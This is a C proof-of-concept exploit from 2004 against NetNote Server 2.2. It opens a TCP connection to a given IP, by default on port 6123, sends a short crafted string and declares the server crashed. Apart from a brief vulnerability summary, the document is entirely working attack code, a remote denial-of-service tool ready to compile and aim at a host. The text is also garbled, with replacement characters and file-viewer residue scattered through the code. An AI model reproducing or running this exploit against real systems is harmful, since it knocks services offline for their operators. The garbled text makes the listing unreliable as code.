88 lines
No EOL
3.8 KiB
C
88 lines
No EOL
3.8 KiB
C
// source: https://www.securityfocus.com/bid/11677/info
|
||
|
||
NetNote server is reported prone to a remote denial of service vulnerability. This issue occurs because the application does not handle exceptional conditions properly.
|
||
|
||
NetNote server 2.2 build 230 is reported vulnerable to this issue, however, it is likely that other versions are affected as well.
|
||
|
||
*/
|
||
<EFBFBD>
|
||
#include "winsock2.h"
|
||
#include "fstream.h"
|
||
<EFBFBD>
|
||
#pragma comment(lib, "ws2_32")
|
||
<EFBFBD>
|
||
|
||
static char payload[100];
|
||
<EFBFBD>
|
||
char crash[]="\x90\x90\x90\x90\x20\x20\x20\x20";
|
||
<EFBFBD>
|
||
void usage(char* us);
|
||
WSADATA wsadata;
|
||
void ver();
|
||
<EFBFBD>
|
||
int main(int argc,char *argv[])
|
||
{
|
||
<EFBFBD>ver();
|
||
<EFBFBD>if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>1)){usage(argv[0]);return -1;}
|
||
<EFBFBD>if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;}
|
||
<EFBFBD>int ip=htonl(inet_addr(argv[2])), port;
|
||
<EFBFBD>if (argc==4){port=atoi(argv[3]);}
|
||
<EFBFBD>else port=6123;
|
||
<EFBFBD>SOCKET s;
|
||
<EFBFBD>struct fd_set mask;
|
||
<EFBFBD>struct timeval timeout;
|
||
<EFBFBD>struct sockaddr_in server;
|
||
<EFBFBD>s=socket(AF_INET,SOCK_STREAM,0);
|
||
<EFBFBD>if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;}
|
||
<EFBFBD>server.sin_family=AF_INET;
|
||
<EFBFBD>server.sin_addr.s_addr=htonl(ip);
|
||
<EFBFBD>server.sin_port=htons(port);
|
||
<EFBFBD>WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
|
||
<EFBFBD>timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
|
||
<EFBFBD>switch(select(s+1,NULL,&mask,NULL,&timeout))
|
||
<EFBFBD>{
|
||
<EFBFBD><EFBFBD>case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
|
||
<EFBFBD><EFBFBD>case 0: {cout<<"[+] connect() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;}
|
||
<EFBFBD><EFBFBD>default:
|
||
<EFBFBD><EFBFBD>if(FD_ISSET(s,&mask))
|
||
<EFBFBD><EFBFBD>{
|
||
<EFBFBD><EFBFBD><EFBFBD>cout<<"[+] connected, sending the bad string..."<<endl;
|
||
<EFBFBD><EFBFBD><EFBFBD>Sleep(1000);
|
||
<EFBFBD><EFBFBD><EFBFBD>if (atoi(argv[1]) == 1){strcat(payload,crash);}
|
||
<EFBFBD><EFBFBD><EFBFBD>strcat(payload,"\r\n");
|
||
<EFBFBD><EFBFBD><EFBFBD>Sleep(1000);
|
||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;}
|
||
<EFBFBD><EFBFBD><EFBFBD>Sleep(1000);
|
||
<EFBFBD><EFBFBD><EFBFBD>if (atoi(argv[1]) == 1){cout<<"[+] payload send, the NetNote server should be crashed."<<endl;}
|
||
<EFBFBD><EFBFBD><EFBFBD>return 0;
|
||
<EFBFBD><EFBFBD>}
|
||
<EFBFBD>}
|
||
<EFBFBD>closesocket(s);
|
||
<EFBFBD>WSACleanup();
|
||
<EFBFBD>return 0;
|
||
}
|
||
<EFBFBD>
|
||
|
||
void usage(char* us)
|
||
{<EFBFBD>
|
||
<EFBFBD>cout<<"USAGE: 101_netn.exe Method Ip Port\n"<<endl;
|
||
<EFBFBD>cout<<"TARGETS:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "<<endl;
|
||
<EFBFBD>cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> [+] 1. Crash NetNote Server<65> (*)"<<endl;
|
||
<EFBFBD>cout<<"NOTE:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "<<endl;
|
||
<EFBFBD>cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> The port 6123 is default if no port are specified"<<endl;
|
||
<EFBFBD>cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> The exploit crash the server."<<endl;
|
||
<EFBFBD>cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> A wildcard (*) mean Tested."<<endl;
|
||
<EFBFBD>return;
|
||
}
|
||
<EFBFBD>
|
||
void ver()
|
||
{<EFBFBD>
|
||
cout<<endl;
|
||
cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "<<endl;
|
||
cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ===================================================[v0.1]===="<<endl;
|
||
cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ===NetNote Server v2.2, Free Electronic Notes for Windows===="<<endl;
|
||
cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ========Remote Crafted String Vulnerability=================="<<endl;
|
||
cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ====coded by class101===========[DFind.kd-team.com 2004]====="<<endl;
|
||
cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ============================================================="<<endl;
|
||
cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "<<endl;
|
||
} |